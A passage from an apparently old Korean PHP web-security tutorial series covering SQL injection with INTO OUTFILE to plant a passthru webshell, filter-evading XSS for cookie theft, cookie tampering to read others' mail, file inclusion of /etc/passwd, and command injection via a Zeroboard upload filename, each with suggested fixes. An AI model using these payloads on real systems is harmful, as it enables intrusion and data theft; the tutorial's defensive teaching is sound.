Header("Content-type: application/zip");
Header("Content-Disposition:attachment;filename=$filename_link");
Header("Content-Description: PHP Generated Data");
Header("Content-Length: $filesize");
header("Pragma: no-cache");
header("Expires:0");
}
$fp = fopen($file_path, "r");
fpassthru($fp);
}
위의 각 변수에 대해서 특별한 설명은 하지 않겠다. 각 변수의 이름을 보고 이 변수가
어떤 기능을 하는 변수인지 짐작할 수 있을 것이다. 중요한 부분은 fopen 과 fpassthru
가 쓰인 부분이다. fopen 으로 file 을 연후에 fpassthru 로 file 의 끝까지 뿌려주게
된다.
이상이 해결책이다. 다시 한번 강조하지만 Client 가 보내는 Data 는 100% 신뢰해서는
안된다.
/*
http://beist.org
beist@hanmail.net
wowcode at wowhacker team
*/
13) sql 과 cgi 연동시 주의할점
이번 장에서는 SQL 과 CGI 연동 시에 일어날 수 있는 문제점을
알아보겠다. SQL 은 Structured Query Language 의 약자로 구조적 질의어를
뜻한다. SQL 은 Database 의 한 종류인데 WEB CGI 를 만들때 가장 많이
쓰이는 Database 중의 하나이다.
SQL 을 통해서 CGI 는 정보를 조회하거나, 갱신, 추가, 삭제를 할 수가
있다.
SQL 에는 database 와 그 안에 존재하는 table 이 있다. 예제로 beist 라는
database 의 ttl 이라는 table 에 접근하는 방법을 알아보자.
1 <?
2
3 $dbhost = "localhost";
4 $dbuser = "uesr1";
5 $dbpass = "passman";
6 $dbname = "beist";
7 $dbconn = mysql_connect($dbhost, $dbuser, $dbpass);
8 $sel = mysql_select_db($dbname, $dbconn);
9 $result = mysql_query("show tables", $dbconn);
10 $i=0;
11 while ($row=mysql_fetch_row($result)) {
12 echo "$row[$i]<br>";
13 $i++;
14 $i=0;
15 }
16
17 ?>
간단한 내용이지만 잠시 문법을 살펴보겠다. 3~6 번째 줄까지 변수 정의를
하고 7 번째 줄에서 mysql 에 연결을 하였다. 8 번째 줄에서 beist 라는
database 를 선택하였고, query 의 내용을 show tables 라고 보내었는데
이 내용은 beist 라는 database 안에서 존재하는 table 들을 보여달라는
이야기이다.
11 번째 줄부터는 show tables query 를 보낸 후에 나온 결과를 뿌려준다.
[결과]
testta
secret
id1
tabtab
ttl
...........
ttl 이라는 table 이 보인다. 이 정도로 Database 연동 방법을 간단하게
알아보았고, 이제 실질적인 해킹 방법을 알아보자.
어떤 Board 가 있다. Board 에서는 특정 글의 데이터를 요청하는 문법으로
select * from freeboard where no=1
이런 식으로 전달한다. 이 문법은 freeboard table 안에 있는 data 중
no 필드가 1 인 것을 모두 알려달라는 의미이다. query 를 한 후 가져온
data 에 대해서는 정렬이나 기타 필요한 일들을 한 후에 사용자에게
알맞게 보여주게 된다.
SQL 에서 where 절에 쓸 수 있는 것은 or 와 and 등이 있다. 예를 들어서
select * from freeboard where no=1 or no=2
라고 전달하면 no 값이 1 이나 2 인 것을 알려달라고 하는 것이다. 다시
말하면 두 개의 값을 동시에 요청한 것이다.
이제 실제 CGI 를 예로 들고 공격 방법을 알아보자.
Jsboard 에서는 Client 가 특정 글을 요청할때 다음과 같은 문법으로
검사를 한다.
$field0 = "*";
$field1 = "no";
SELECT $field0 FROM $table WHERE $field1 = $no
(만약 해당 글이 없으면 Error 메세지를 뿌려줄 것이다.)
위의 Query 문의 기능은 $no 변수에 맞는 값을 요청하는 것이다. select
문의 where 절에서는 into outfile 을 쓸 수가 있다.
예를 들어서 database 연결을 거친 후 다음과 같은 query 를 보냈다고
하여보자.
select * from ttl where no=1 into outfile '/tmp/test1.txt';
라고 하면 ttl table 안에 있는 값중 no=1 인 것을 /tmp/test1.txt 로
저장한다는 뜻이 된다. 우리는 into outfile 을 이용해서 여러 가지
hacking 을 시도할 수가 있다.
먼저 Jsboard 에 글을 쓰자. 글의 본문에
<?
passthru($beist);
?>
위와 같은 내용을 써서 정상적으로 글을 올리자. 그리고 자신이 쓴 글이
몇번의 no 를 가지는지 알아보자. 만약 no 가 444 라고 한다면 다음과
같이 요청을 하자.
http://server/jsboard/read.php?table=test&no=444 into outfile '/home/httpd/html/jsboard/data/test/files/test.php'
위와 같이 요청을 하면 실제로는
select * from test where no=444 into outfile '/home/httpd/html/jsboard/data/test/files/test.php';
이렇게 전달이 될 것이다. 444 안에는 passthru Function 이 담겨있으니
test.php 를 이용하여 우리는 Server 에 System Command 를 실행시킬 수
있을 것이다.
[요청]
http://server/jsboard/data/test/files/test.php?beist=cat /etc/passwd
[결과]
root:*:0:0:root:/root:/usr/local/bin/bash
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
operator:*:2:5:System &:/:/sbin/nologin
bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
................................
passwd 파일을 볼수 있다.
위의 공격 방법에는 단점이 있다. 위의 경우는 php.ini 에서 magic_quotes_
sybase 를 Off 로 해두면 ' 나 " 앞에 Escape 문자가 붙는데 이렇게 되면
Sql Qeury 시에 Error 가 나서 공격이 성공하질 않는다.
하지만 다양한 Query 변조를 시도하여 ' 나 " 를 사용하지 않고도 Hacking
을 한다던지, 아니면 ' 와 " 앞에 Escape 문자가 붙지 않도록 한다던지하는
방법등은 나오게 될 것이다.
꼭 위의 방법 말고도 여러 가지 방법으로 Data 를 조작하거나 System 에
피해를 입히는 방법은 많이 있을 것이다. 이 방법은 Query 변조를 이용한
공격의 한가지 방법을 보여준 것이다.
(asp 와 ms-sql 시의 연동시에 Hacking 은 mysql 과 php 연동시보다 조금
더 유연하고 편하게 할 수 있다. 원리는 같으므로 설명하지 않겠다.)
해결책을 알아보자.
위의 경우 $no 변수에 들어갈 값을 Check 해야 할 것이다. $no 변수에는
숫자 말고 다른 변수가 들어갈 이유가 없다.
다음과 같이 $no 에 영문자가 들어가 있는지 검사를 하자.
if(eregi("^[a-z]", $no))
{
echo "no 에는 영문자가 들어갈수가 없습니다.";
}
하지만 어떤 query 에는 영문자가 들어가야 하는 경우도 있을 것이다.
그럴 경우의 대처 방법은 query 를 보낼때 ' 와 " 를 이용하 변수를 묶는다.
read.php
select * from test where no='$no'
라고 했을때 read.php?no=1 or no=2 라고 입력하여도 실제로는
select * from test where no='1 or no=2'
라고 입력되는 것이다.
하지만 이 방법은 magic_quotes_sybase 가 On 으로 되어있으면
read.php?no=1' or no='2
이런 식으로 요청하면 무용지물이 된다.
그렇지만 Off 로 되어있을때 ' 나 " 로 묶지 않는다면 Cracker 가 자료를
변조하기가 더 쉬워질 것이므로 모든 Query 문의 변수에는 ' 나 " 로
묶도록 하자.
/*
http://beist.org
beist@hanmail.net
wowcode at wowhacker team
*/
14) 메일 서비스 회사의 알고리즘 문제
이번 장에서는 메일 서비스를 하는 Site 들의 잘못된 알고리즘 사용으로
인한 Hacking 취약성에 대해서 알아보겠다.
먼저 Hacking 에 취약한 잘못된 알고리즘에 대해서 알아보기 전에 Cookie
를 훔쳐오는 또 다른 방법에 대해서 알아보자.
Cookie Sniffing 은 한때 Issue 가 되었던 Hacking 방법으로 대부분의
포탈 사이트에서 Cracker 가 마음만 먹으면 Cookie 를 다른 사용자로부터
쉽게 가져올 수 있다. 보안계에 Issue 가 되고 나서 Cookie Sniffing 에
대한 대책으로 다음과 같은 방법이 나오고, Site 나름대로 Patch 를
하였다.
1. Cookie Sniffing 에 사용되는 Java-script 문자열을 필터링 한다.
2. <script> 를 필터링 한다.
3. java-script 를 필터링 한다.
4. 기타등등
(일반적인 Cookie Sniffing 방법에 대해서는 8 번 장을 참고하라)
위와 같은 조취를 취하면 일반적인 Cookie Sniffing 은 할 수 없을 것이다.
왜냐하면 예를 들어서
<script language=java-script> 라는 문자열이
<x-script language=java-script> 등으로 바뀌어서 사용자의 Web Browser가
이 것을 Java-script 라고 인식을 하지 못하기 때문이다.
하지만 Script 는 Script 자신을 Java-Script 라고 명시를 하지 않아도 사용
할 수 있는 방법이 있으며, 꼭 <script> 로 시작하지 않아도 가능하다.
첫번째에는 Visual Basic Script 인 vbscript 를 사용할 수 있으며 두번째는
일반적인 html 태그 사이에 Java-Script 를 끼워 넣으면 된다.
첫번째 방법은 <script> 문자열을 필터링하니 <script language=vbscript>
이런 식으로 사용 할수가 없으므로 두번째를 사용하겠다.
어떤 식으로 가능한지 살펴보자.
<a href=tt.html o-nclick=alert("haha")>keke</a>
위의 태그는 tt.html 이라는 파일에 대한 Link 태그이다. 그런데 중간에
보면 o-nclick 이라는 것이 있다. 이 것은 Java-Script 의 한 종류로써 keke
를 마우스로 클릭했을때 haha 라는 내용의 창을 띄우게 된다.
여기서 분명히 Java-script 를 사용했지만 Java-script 라고 명시한 적은
없다. 인터넷 익스플로러는 기본적으로 사용할 Script 에 대한 이름을
특별히 명시하지 않으면 자동으로 인식한다. 그래서 java-script 라고
명시를 하지 않았어도 사용이 가능했던 것이다.
Cookie 를 다른 곳으로 전송하고, 그것을 저장하는 방법은 8 장에 대해서
자세히 설명을 하였으니 이 방법에 그것을 응용하면 Cookie Sniffing 은
어렵지 않게 가능할 것이다.
Java-script 에는 O-nclick 말고도, On-MouseMove, On-load, OnUnload 등
여러가지 Action 이 많기 때문에 HTML 태그에 맞추어서 알맞게 넣는다면
Cracker 는 쉽게 사용자의 Cookie 를 가져올 수가 있다.
이제 Cookie Sniffing 에 대한 내용은 접도록 하고, 이 장의 가장 중요한
내용인 메일 서비스 CGI 의 알고리즘 취약성에 대해서 알아보자.
많은 Mail CGI 에서 Cookie 를 다룰 때 잘못된 방식을 다뤄 심각한
Security Hole 을 만들어 낸다.
일반적으로 사용자가 메일 CGI 를 이용하기 위해 Login 하고, 그것을
이용하는 절차를 알아보면,
1. Mail Site 접속
2. Login 시도
3. Server 에서 ID, PASSWORD 가 맞는지 확인
4. 맞다면 사용자의 Browser 에 Cookie 를 세팅함
Server 에서 Browser 에 세팅한 Cookie 덕분에 사이트의 어떤 페이지를
읽을 때마다 Login 을 해야하는 수고를 덜을 수 있는 것이다.
먼저, Server 에서 Client 의 Web Browser 에 세팅하는 Cookie 값이
다음과 같다고 하자.
id=beist; pw=ttl; mail_home=/mailserver1/b/beist
사용자가 위의 Cookie 값을 받고, 편지 읽기를 시도한다고 가정하였을때
Server 는 Client 의 Cookie 를 읽어와서, id 와 pw 가 맞는지, 그리고
mail_home 값을 가져와서 해당 디렉토리에 맞게 편지들을 보여준다.
mail.php
1 <?
2
3 $id=$HTTP_COOKIE_VARS[id];
4 $pw=$HTTP_COOKIE_VARS[pw];
5 $mail_home=$HTTP_COOKIE_VARS[mail_home];
6
7 $conn=mysql_connect("localhost", "maildb", "mailpw");
8 mysql_select_db("maildb", $conn);
9 $temp=mysql_fetch_array(mysql_query("select * from now_connect where ID='$id' and PW='$pw'"));
10
11 if(!$temp[0])
12 {
13 echo "로그인 제대로 해라 니 쿠키값은 내 서버에 없는데??";
14 exit;
15 }
16
17 system("ls -al $mail_home");
18 ?>
이해를 돕기 위해 위 Script 는 임시로 만든 것이다. Client 가 전해온
Cookie 값을 가져오고 now_connect table 에 Cookie 값에 맞는 사용자가
있는지 확인한다. 만약 없다면, Script 실행을 중지할 것이다.
정상적인 사용자라면 system 함수를 이용하여 Client 가 전해온 mail_home
쿠키값을 ls 한다.
(mail_home Directory 밑에는 사용자의 편지가 담겨있다고 가정한다.)
실제로 Cookie 가 Server 에 어떤 식으로 전달이 되는지 알아보면
[요청]
$ telnet server 80
Trying server...
Connected to server.
Escape character is '^]'.
get http://server/mail.php HTTP/1.0
Cookie: id=beist; pw=ttl; mail_home=/mailserver1/b/beist
[결과]
1. yo! man!
2. [광고] 노트북 10 원!
3. [광고] 벤츠가 10 원! 선착순 천만명!
4. [뉴스] 2002 한일월드컵 우승-한국. MVP 는 홍명보
5. [뉴스] CF 모델 임은경. 이승진이라는 고교생과 스캔들
(실제 Mail CGI 의 소스는 이렇지 않지만 여기서는 최대한 간결화했다.)
여기서 취약성이 존재한다. 일단 id 와 pw 만 정상적으로 인증을 한다면
mail_home 은 Client 가 보내주는 data 는 전적으로 신뢰하는 것이다.
그래서 여기서는 ttl 이라는 가상의 계정을 하나 더 만들었고 쿠키값은
다음과 같다.
id=ttl; pw=beist; mail_home=/mailserver1/t/ttl
beist 라는 계정을 가진 Cracker 가 ttl 이라는 계정을 가진 사용자의
e-mail 을 훔쳐읽는 방법은 다음과 같다.
[요청]
$ telnet server 80
Trying server...
Connected to server.
Escape character is '^]'.
get http://server/mail.php HTTP/1.0
Cookie: id=beist; pw=ttl; mail_home=/mailserver1/t/ttl
[결과]
1. 임은경 누나 너무 귀여워요
2. 은경아 나 매니저다
3. [광고] 50 억을 벌 수 있습니다
4. [광고] 40 억을 벌 수 있습니다
5. [뉴스] 2002 한일월드컵 우승-한국. MVP 는 홍명보
분명히 id 는 beist 로 넣었지만 결과는 ttl 이라는 계정을 가진 사용자의
메일로 나오게 되었다. 이유는 Cracker 가 mail_home cooke 를 보낼때
자신의 Cookie 가 아닌 ttl 계정의 Cookie 를 보내었기 때문이다.
mail.php 에서 사용자의 id 와 password 가 올바른지 검사를 하긴 하지만
사용자가 보내온 mail_home cookie 를 가지고 메일 리스트를 뿌려주니까
일어난 취약성이다.
mail_home 경로를 알아내는 방법에 대해서.
mail_home 의 경로는 메일 서비스 회사마다 다르게 처리한다. 어떤 곳은
위에서 설명한 예와 같이 간단한 경로를 사용하여 Cracker 가 쉽게 유추
할수 있지만 어떤 곳은 복잡한 방법을 사용하기도 한다. (하지만 brute
force 를 시도해볼만하다. 대부분의 경우의 수가 천문학적인 단위가
아니이기 때문이다.) 가장 편한 방법은 Cookie Sniffing 으로 빼오는
것인데, 한번만 가져온다면 Cookie 를 도둑맞은 사용자가 아무리 비밀번호를
바꾸어도 Cracker 는 평생 그 사용자의 mail 을 읽을 수 있을 것이다.
해결책을 알아보자.
이에 대한 해결책은 mail_home 을 now_connect table 에 넣는 것이다.
그래서 매 페이지마다 인증을 할시에 id, pw, mail_home 이 같이 일치하는
정보가 없으면 올바르지 않은 사용자로 간주하는 것이다.
1 <?
2
3 $id=$HTTP_COOKIE_VARS[id];
4 $pw=$HTTP_COOKIE_VARS[pw];
5 $mail_home=$HTTP_COOKIE_VARS[mail_home];
6
7 $conn=mysql_connect("localhost", "maildb", "mailpw");
8 mysql_select_db("maildb", $conn);
9 $temp=mysql_fetch_array(mysql_query("select * from now_connect where ID='$id' and PW='$pw' and mail_home'$mail_home'"));
10
11 if(!$temp[0])
12 {
13 echo "로그인 제대로 해라 니 쿠키값은 내 서버에 없는데??";
14 exit;
15 }
16
17 system("ls -al $mail_home");
18 ?>
물론 위 방법을 사용하기 전에 now_connect 에 mail_home 필드를 만들고,
login 시에 mail_home 데이터를 넣는 추가 과정이 필요하겠지만 여기서의
설명은 불필요하므로 접겠다.
그리고, 위 방법말고 Session 을 활용하는 방법도 괜찮을 것이다.
/*
http://beist.org
beist@hanmail.net
wowcode at wowhacker team
*/
15) include 사용지 주의할점, 기타 보안관련 주의할점
이제 마지막 장이다. 웹 프로그래밍 시 잘못된 알고리즘 사용으로 인한
취약성이나 그와 유사한 결과로 인해 일어나는 취약성은 알아보았다.
이번 장에서는 몇가지 더 간단한 보안 취약성에 대해서 알아보고 웹
프로그래밍과는 조금 상관이 없는 내용도 다루겠다.
먼저 첫번째 알고리즘 취약성에 대해서 알아보자. include 함수를 알
것이다. include 함수는 프로그래머가 지정한 특정 file 을 소스에
포함시키는 함수이다. 예를 들어
test.php
<?
include "test.txt";
?>
라는 소스가 있다면 test.txt 라는 file 을 test.php 에 포함시켜서
사용자에게 보여준다. 여기서 보통 다음과 같은 문법을 많이 쓴다.
vul.php
<?
include "$table";
/* 생략 */
echo "<br><br>테스트 중입니다. ^^";
?>
위는 보통 게시판이나 어떤 객체적인 개념이 들어가는 프로그래밍을 할 시에
디렉토리를 따로 두어 $table 변수에 있는 것을 자동으로 include 하게 하는
것이다.
이 방법에 취약성이 존재한다.
예를 들어 다음과 같은 상황이라고 하자.
test1/header.txt 의 내용
안녕하세요. 이것은 헤더파일입니다.
[요청]
http://server/vul.php?table=test1/header.txt
[결과]
안녕하세요. 이것은 헤더파일입니다.
테스트 중입니다. ^^
여기서 Cracker 는 query 를 간단히 변조함으로써 원하는 파일을 read
할 수 있게 된다.
[요청]
http://server/vul.php?table=/etc/passwd
[결과]
root:*:0:0:root:/root:/usr/local/bin/bash
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
operator:*:2:5:System &:/:/sbin/nologin
bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
................................
해결책을 알아 보자.
include 할때 Cracker 가 해킹을 하기 힘들게 해야 한다.
<?
if(eregi("\.\.", $table))
{
echo "파일 이름에 .. 가 존재하면 안됩니다.";
exit;
}
include "./$table";
/* 생략 */
echo "<br><br>테스트 중입니다. ^^";
?>
첫번째 조취로 상위디렉토리로 올라가기 위한 .. 문자열을 필터링 하는
작업과, 두번째 include 시 현재 디렉토리에서 참조하라는 지시를 하였다.
[요청]
http://server/vul.php?table=../../../../../../../etc/passwd
[결과]
파일 이름에 .. 가 존재하면 안됩니다.
[요청]
http://server/vul.php?table=/etc/passwd
[결과]
테스트 중입니다. ^^
두번째 방법과 같이 요청을 한다면 include 하려할 파일은 .//etc/passwd
이다. ./etc/passwd 와 .//etc/passwd 는 같다.
그리고 open 하려할 파일이 들어있는 디렉토리에는 중요한 파일은 두지
말도록 하자.
이제 여러 가지 주의 사항에 대하여 알아보겠다.
다음에서 알려주는 문제는 어쩌면 프로그래머가 신경써야할 부분이 아닐지도
모르지만 알아두면 도움이 될 것이다.
먼저 확장자 문제. 일반적인 test.php 와 같은 파일은 파싱을 해주기 때문에
소스가 그대로 드러나는 일은 없다. 하지만 보통 백업용으로 만들어놓는
확장자인 bak 등은 파싱을 하지 않기 때문에 그대로 소스가 노출될 수 있다.
경험이 많은 Cracker 는 눈에 보이지 않는 많은 것들을 시도하게 되고
test.bak 같은 것은 그 일부이다. 프로그래머는 이 부분에 대해서 주의를
해야할 것이다.
그리고 어떤 확인작업이나 인증작업시에 Client 에 전적으로 의존하려 하면
안된다. 아직도 웹에는 Java-script 로만 확인을 하는 것이 많은데, Java
Script 는 Cracker 임의대로 수정하거나 아니면 아예 삭제를 할 수도 있다.
1 차적인 확인으로 Client 에서 Java-script 로 확인을 하고, 2 차적인 작업으로
CGI 에서 또 확인을 해야만 할 것이다.
중요한 파일을 include 할 시에 filename 을 파싱이 안되는 확장자로 하지
말아야 한다. 만약 include 하는 파일이 database 에 연결하는 파일이라고 하고
dbconn.inc 라면 inc 확장자는 파싱을 하지 않으니 소스코드가 그대로 노출되어
질 것이다. dbconn.inc 대신 dbconn.php 로 대처하자. 아니면 inc 도 파싱을
하도록 설정하자.
위 사항과 관련하여 취약성이 존재할수도 있다. dbconn.inc 의 소스코드가 그대로
드러나는 것을 막기 위하여 inc 도 파싱하도록 설정을 해두었는데, 정작 자료실
에서 inc 의 upload 를 막아두지 않아 Cracker 가 서버에 침투할 수도 있다.
그리고 cgi 가 돌아가는 확장자에 대해서 주의하여야 한다. 예를 들어 php 이면
*.php 만이 파싱이 되는것이 아니라 php3, php4, shtml, 등이 파싱이 될 수도
있으니 주의를 하여야 한다.
또 index 파일을 각 디렉토리에 만들어놓아 index 파일이 없을때 디렉토리 안의
내용을 볼수 있는 현상도 막아야 할 것이다. 아니면 웹서버 설정에 index 기능을
사용하지 않도록 하자.
database 연결시에 허용된 주소가 아니면 접속을 금지시켜야 할 것이다. 보통은
localhost 에서만 접속이 가능하도록 database 를 설정하고, 규모가 큰 네트웍
에서는 정책을 잘 설정해야 할 것이다.
디폴트 설정에 주의하여야 한다. 많은 Cracker 는 게으른 관리자로 인해서
바뀌지 않은 설정을 이용한다. 취약성이 안 알려져있다고 하더라도 디폴트 설정은
바꾸는 게 좋다.
가장 중요한 점은 최신의 보안에 대해서 귀를 기울이며 대처를 하는 것이다.
Cracker 가 Web Hacking 시에 가장 궁극적인 목적은 (원하는) 바로 System
명령어 실행일 것이다. 개발자가 Web 프로그래밍을 할때 프로그램에 필요한 기능으로
Language 에서 제공하는 System Execute Fucntion 을 사용하는 경우가 많이 있다.
이러한 기능을 하는 Function 으로써, PHP 를 예를 들자면 system() 나 exec()
Function 을 들 수 있다. 이와 같은 System Execute Function 들은 Web 에서
System 으로 명령을 Execute 를 할 수 있게끔 도와준다. 그리고 실행되는
Process 들의 권한은 현재 돌아가고 있는 WebServer 의 uid, gid, euid, guid 로
실행된다. (프로세스가 가지는 것은 effective uid 이다.)
uid (user identifier) 같은 것들은 like unix 에서 사용자를 구별하기 위해
사용되는 숫자 또는 이름이다. like unix 에서는 보안을 위하여 uid 나 혹은
euid 를 갖고 그 사용자의 권한을 Check 하는 경우가 많다.
Web 어플리케이션 개발자로서 이러한 부분은 크게 신경쓰지 않아도 된다.
실질적으로 Web 에서 System Execute 를 하였다고 하여도, 커널 내부적으로는
보통의 uid 를 가진 user 가 Shell 상에서 System call 을 요청하는 것이랑 별반
다를바가 없지만 Web 어플리케이션 개발자는 그런 깊숙한 부분은 신경쓸 필요가
없다는 이야기이다. Web 어플리케이션 개발자는 Cracker 가 System 에 침입할 수
없게끔 1 차 적인 보안 조취를 취하도록 프로그래밍을 하면 된다.
그러면 실제로 Web 프로그래밍을 할시에 system(), exec() 같은 Function 을
사용하는 경우는 어떤 경우인가. 가장 대표적인 예를 들자면 게시판을 들 수가
있다. 예를 들어 사용자가 Upload Board 를 이용해 특정 자료를 Server 에
올렸다고 하자. 그런데 자료 Upload 에 실수를 하여 게시물을 지우고자 할때는
Delete 메뉴를 이용한다. Delete 메뉴를 이용하여 해당 게시물을 지우고,
같이 올려진 파일도 지워야 한다. 예를 들어 다음과 같이 지운다고 하자.
http://beist.org/delete.php?text=1.txt&file=1.zip
/* delete.php 파일을 요청할때 argument 로 text 와 file 을 건내주었고
그 값은 해당 게시물이 담긴 txt 파일과 Upload 시에 올린 자료명이다. */
sample1.php
<?
/* 생략 */
system("/bin/rm -f data/$text");
system("/bin/rm -f data/$file");
/* 생략 */
?>
/* system() Function 을 이용하여 OS 내부에 있는 /bin/rm 이라는 프로그램을
이용하여 data 디렉토리 밑의 1.txt 를 지우게 한 프로그램이다.
/bin/rm 은 지우기를 시도하는 사용자의 ID 가 해당 지우려고 하는 파일의
소유자와 일치할때 그 파일을 지워주는 프로그램이다. /bin/rm 을 실행할때
준 -f 옵션은 force 의 의미로써 조건만 만족한다면 무조건 지우는 옵션을
뜻한다. */
sample1.php 에는 게시물 처리를 위하여 다른 부분도 필요하겠지만 여기서는
이해를 쉽게 하기 위하여 프로그램에서 취약한 부분만을 적게 되었다.
이런 식으로 Web CGI 에서 System Execute Function 은 이용된다. 그러면 이제
실제로 존재하는 CGI 에서 System Execute Function 을 잘못 사용하였을때 일어
나는 취약점을 알아보자.
실제로 필자가 발견한 버그를 이용할 것이다. 해당되는 Web CGI 는 게시판으로
유명한 Zeroboard 3.5.x 이다. 이 글을 쓰는 지금, Zeroboard 의 버전은 4.0.x
버전까지 나와있지만 잘못된 System Execute Function 사용으로 인한 결과를
설명하기에 적절한 코드인것 같아 이것으로 설명하겠다.
문제가 되는 부분은 zeroboard 의 delete_list.php3 파일이다.
delete_list.php3
1 <?
2 // 지금 삭제할려는 글의 데이타를 가져옴
3 $data=mysql_fetch_array(mysql_query("select * from zeroboard_$id where
4 no='$no'",$connect));
5 // 이 글에 답글이 있는지 없는지를 검사
6 $check=mysql_fetch_array(mysql_query("select count(*) from zeroboard_$id
7 where headnum='$data[headnum]' and arrangenum>'$data[arrangenum]' and
8 depth>'$data[depth]'", $connect));
9 if($check[0]>0) Error("답글이 있는 글은 삭제할수 없습니다");
10
11 // 파일삭제
12 if($data[file_name]||$data[file_name2])
13 {
14 @system("rm -rf data/$id/$data[reg_date]/$data[file_name]");
15 @system("rm -rf data/$id/$data[reg_date]/$data[file_name2]");
17 @system("rm -rf data/$id/$data[reg_date]");
18 @unlink("data/$id/$data[reg_date]/$data[file_name]");
19 @unlink("data/$id/$data[reg_date]/$data[file_name2]");
20 @unlink("data/$id/$data[reg_date]");
21 }
22
23 // 글 삭제
24 mysql_query("delete from zeroboard_$id where no='$no'",$connect);
25 mysql_query("delete from zeroboard_memo_$id where parent='$no'",$connect);
26 $temp=mysql_fetch_array(mysql_query("select count(no) from zeroboard_$id",
27 $connect));
28 mysql_query("update $admin_table set total='$temp[0]' where name='$id'",
29 $connect);
30
31 // 간단한 답글 삭제
32 mysql_query("delete from $comment_table where table_name='$id' and parent='$no'",
33 $connect);
34 ?>
이 script 의 기능은 특정 게시물을 지우는 것이다. 지울 때 file 도 같이 삭제를 한다.
중요 취약성이 되는 부분은 14~17 라인이다. $data[file_name] 과 $data[file_name2]
변수는 file name 이다.
zeroboard 에서 upload 된 file 이 놓이는 위치는 data/$id/$data[reg_date] 이다.
$id 는 board name 을 뜻하고 $data[reg_date] 는 게시물을 쓴 시간을 뜻한다.
이 것들은 mysql database 에 담겨있으며 3 번째 라인에서처럼 가져와 $data 변수에
담는다.
file 을 지울때 System Execute Function 인 system 함수를 이용하는데 Cracker 는
이를 이용하여 System 에 침입할 수가 있다.
자세한 방법을 알아보자. Cracker 는 Write Form 에서 File upload 할때 File 의
이름을 임의로 설정할 수 있다.
write_main.php3
1 <?
2 // 자료실 사용시
3 if($data[file_name])
4 {
5 $file_exist=$data[file_name]."파일이 등록되어 있습니다
6 <br>";$file_del="<input type=checkbox name=del_file value=1> 삭제";
7 }
8 if($data[file_name2])
9 {
10 $file_exist2=$data[file_name2]."파일이 등록되어 있습니다<br>";
11 $file_del2="<input type=checkbox name=del_file2 value=1> 삭제";
12 }
13 if($setup[use_pds])
14 {
15 ?>
16 <tr>
17 <td align=right>Upload File </td>
18 <td><div style=line-height:160%>
19 <? echo $file_exist;?> <input type=file name=file
20 size=<?echo $size[8];?> maxlength=255 class=input>
21 <? echo $file_del; ?><br>
22 <? echo $file_exist2;?> <input type=file name=file2
23 size=<?echo $size[8];?> maxlength=255 class=input>
24 <? echo $file_del2; ?>
25 </tr>
26 <?
27 }
28 ?>
위 소스는 write_main.php3 의 일부이다. 취약성이 되는 부분은 아니고 사용자가
Write 버튼을 클릭했을때 보여주는 Write Form 이다. 13 번째 줄에서 Admin 이
해당 게시판에 File Upload 를 허용했다면 16~25 줄까지의 내용을 뿌린다. 잠깐
살펴보면
<input type=file name=file size=200000000 maxlength=255 class=input>
이 정도일 것이다. 우리는 이 필드를 이용하여 File 을 Upload 할 수 있는데,
여기서 악의적인 조취를 취하면 Server 에 특정 Command 를 실행할 수 있다.
delete_list.php3 에서 봤듯이 file 을 지울때 rm 을 이용하여 지우게 된다.
이는 shell 을 사용한다는 것이다. ; 와 | 는 연속, 연결을 의미하니까 file
name 에서 악의적인 file name 을 주면 cracker 는 원하는 일을 할 수 있다.
ex)
filename : test;/usr/bin/touch /tmp/imbeist
이런 식으로 file name 을 주어 Server 에 올린다면 mysql Database 에도
test;/usr/bin/touch /tmp/imbeist 가 올라가게 될 것이다. 그리고 해당 게시물을
다시 지운다면 delete_list.php3 에 의해서
@system("rm -rf data/test1/4444444/test;/usr/bin/touch /tmp/imbeist");
의 명령이 실행될 것이다.
(여기서 test1 과 4444444 는 임의로 만든 것이다)
그렇다면 세미콜론에 의해서 두 명령이 내려질 것이고 touch 를 이용하여
cracker 는 /tmp directory 밑에 imbeist 라는 file 을 생성시킬 수 있다.
이 것을 이용하여 term 이라든가 port 를 열어서 shell 을 실행 시킬수 있게끔
해놓는다던가 방법은 많다. Cracker 에게 있어서 이 Security Hole 은 Web hacking
에 있어서 궁극적인 목표까지 다달은 것이다.
해결책을 알아 보자.
필자가 생각하는 해결 방법은 (위의 상황으로만 프로그래밍을 해야할때)
file name 을 체크하는 것이다. file name 에는 정상적인 알파벳이나 숫자, 그리고
. 를 제외하고 나머지의 문자가 들어갈 필요가 없다. 그래서 file name 을 검사할때
만약 ../ or ; or | 같은 문자가 들어온다면 script 실행을 중지하는 것이 좋을것
같다.
if(eregi(";", $file_name))
{
echo "장난하니?.. file 이름에 ; 가 들어있습니다.";
exit;
}
if(eregi("\|", $file_name))
{
echo "장난하니?.. file 이름에 | 가 들어있습니다.";
exit;
}
(여기에서는 ; 과 | 만 처리를 하였다.)
위와 같은 방법으로 script 실행을 중지하는 것을 원치 않는다면 eregi_replace
같은 function 을 이용하여 빈칸으로 만드는 방법도 괜찮은 방법이다.
/*
http://beist.org
beist@hanmail.net
wowcode at wowhacker team
*/
2) Open 함수 사용시 주의할점
이번 주제는 Web 프로그래밍 중에서 가장 일어나기 쉬운 버그 중의 하나이다.
Web CGI 에서 File Open 은 많이 쓰이는 알고리즘 중에 하나이다. 하지만
이 알고리즘이 잘못 쓰여졌을 경우에 심각한 Security Hole 을 일으킬 수도
있다.
Web CGI 에서 File Open 이 쓰이는 경우를 보자. 예를 들어 Web Page 의 Menu
를 구현한다고 하자.
menu.html
<html>
<head>
<title>Beist Home 에 오신 것을 환영합니다.</title>
</head>
<body>
<center>
<a href=link.php?file=profile.html>나의소개</a><br>
<a href=link.php?file=board.html>게시판</a><br>
<a href=link.php?file=site.html>추천사이트</a><br>
</center>
</body>
</html>
간단하게 구현해 본 Menu 이다. Menu 는 나의소개, 게시판, 추천사이트로 나뉘
어져 있으며 link.php 라는 File 을 통해 접근을 한다. 각 페이지를 모두 설명할
필요는 없으니 profile.html 파일만 따로 작성하여 설명하겠다.
link.php
1 <?
2
3 $exist = file_exists("./$file");
4 if(!$exist)
5 {
6 echo "$file 파일은 없다.\n";
7 exit;
8 }
9
10 $fp=fopen("./$file", "r");
11
12 while(!feof($fp))
13 {
